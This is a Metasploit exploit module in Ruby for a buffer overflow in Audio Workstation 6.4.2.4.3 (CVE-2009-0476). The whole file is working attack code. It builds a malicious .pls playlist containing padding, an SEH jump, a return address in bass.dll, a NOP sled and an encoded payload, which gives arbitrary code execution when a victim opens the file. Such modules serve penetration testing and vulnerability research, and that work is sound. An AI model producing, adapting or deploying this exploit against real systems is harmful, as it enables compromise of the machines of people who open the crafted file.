##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Audio Workstation 6.4.2.4.3 pls Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.
          When opening a malicious pls file with the Audio Workstation,
          a remote attacker could overflow a buffer and execute
          arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'germaya_x', 'dookie', ],
        'References' => [
          [ 'CVE', '2009-0476' ],
          [ 'OSVDB', '55424' ],
          [ 'EDB', '10353' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true,
          'AllowWin32SEH' => true
        },
        'Payload' => {
          'Space' => 4100,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops' => true,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows Universal', { 'Ret' => 0x1101031E } ], # p/p/r in bass.dll
        ],
        'Privileged' => false,
        'DisclosureDate' => '2009-12-08',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),
      ]
    )
  end

  def exploit
    sploit = rand_text_alpha_upper(1308)
    sploit << "\xeb\x16\x90\x90"
    sploit << [target.ret].pack('V')
    sploit << make_nops(32)
    sploit << payload.encoded
    sploit << rand_text_alpha_upper(4652 - payload.encoded.length)

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
  end
end